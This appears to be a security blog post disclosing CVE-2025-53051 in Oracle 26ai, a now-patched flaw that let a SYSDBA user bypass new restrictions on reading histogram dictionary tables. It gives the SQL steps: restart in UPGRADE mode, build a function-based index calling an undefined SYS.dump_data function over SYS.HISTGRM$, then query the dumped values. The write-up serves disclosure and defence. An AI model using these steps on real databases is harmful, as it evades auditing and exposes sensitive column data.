In Oracle 26ai a new security enhancement and feature is to restrict powerful account as SYS from viewing histogram dictionary data. In the past, a DBA/System Admin can bypass sensitive table traditional auditing/monitoring with histogram data viewership unless database vault security feature is used (licensed product). In addition attempting to view/query the below system tables will be logged per ORA$DICTIONARY_SENS_COL_ACCESS security policy in 26ai:
SYS.HIST_HEAD$
SYS.HISTGRM$
SYS.WRI$_OPTSTAT_HISTHEAD_HISTORY
SYS.WRI$_OPSTAT_HISTGRM_HISTORY
To illustrate the impact of the vulnerability, let me build a dummy table under HR schema and gather stats to populate its histogram:
// will create the HR tablespace TS_HR
SQL> CREATE BIGFILE TABLESPACE “TS_HR” DATAFILE
‘/opt/oracle/oradata/FREE/FREEPDB1/HR.DBF’ SIZE 11534336
LOGGING ONLINE PERMANENT BLOCKSIZE 8192
EXTENT MANAGEMENT LOCAL AUTOALLOCATE DEFAULT
NOCOMPRESS SEGMENT SPACE MANAGEMENT AUTO;
// then I will create the HR schema account:
SQL> CREATE USER “HR” IDENTIFIED BY ‘HR_123’
DEFAULT TABLESPACE “TS_HR”
TEMPORARY TABLESPACE “TEMP”;
SQL> GRANT “RESOURCE” TO “HR”;
SQL> grant create session to HR;
SQL> alter user HR default role all;
SQL> alter user HR quota unlimited on TS_HR;
// I will create a dummy table under HR schema and will call it “t1” and insert random values:
SQL> create table HR.t1 ( myname number(10));
SQL> insert into HR.t1 values (’11’);
SQL> insert into HR.t1 values (’66’);
SQL> insert into HR.t1 values (’77’);
SQL> insert into HR.t1 values (‘7733316’);
SQL> insert into HR.t1 values (‘21111170’);
SQL> insert into HR.t1 values (‘57055558’);
SQL> commit;
SQL> CREATE UNIQUE INDEX HR.IDX_MYNAME ON HR.T1 (MYNAME);
SQL> select * from HR.T1;

// will gather statistics and forcing a frequency histogram if you know the number of distinct values is low:
SQL> BEGIN
DBMS_STATS.GATHER_TABLE_STATS (
ownname => ‘HR’,
tabname => ‘T1’,
method_opt => ‘FOR COLUMNS SIZE 254 MYNAME’,
degree => DBMS_STATS.AUTO_DEGREE,
granularity => ‘AUTO’,
cascade => TRUE
);
END;
/
// checking histogram releated information against the table
SQL> select column_name, num_distinct, density, histogram from dba_tab_columns where table_name=’T1′;

As shown below as SYS user you can’t query and view the data of SYS.HISTGRM$ system table in normal OPEN mode and an in UPGRADE mode. This is expected new security enhancement in 26ai.

However, a malicious insider or hacker can overcome this security restriction by temporary creating function based index.
sqlplus / as sysdba
SQL> alter session set container=FREEPDB1;
SQL> shutdown immediate;
Pluggable Database closed.
SQL> startup upgrade;
Pluggable Database opened.
SQL> create index SYS.HIST_MAL_IDXX on HISTGRM$(SYS.dump_data(OBJ#||’,’||COL#||’,’|| ROW#||’,’||ENDPOINT||’,’||SPARE1));
Index created.

SQL> drop index SYS.HIST_MAL_IDXX;
SQL> startup force;
// checking the table T1 object id value:
SQL> select * from SYS.OBJ$ where NAME= ‘T1’;

// I will now query the data in the dumped table to view the histogram data of the column based on Table T1 object ID number:
SQL> select * from data_dump where value like ‘%71582%’;

The table column values are visible as shown above hilighted in yellow.
The vulnerability is fixed in 23.26 release with October Critical Patch Update 2025 with CVE assigned [CVE-2025-53051]:
https://www.oracle.com/security-alerts/cpuoct2025.html
After applying the patch the exploit will not work anymore:























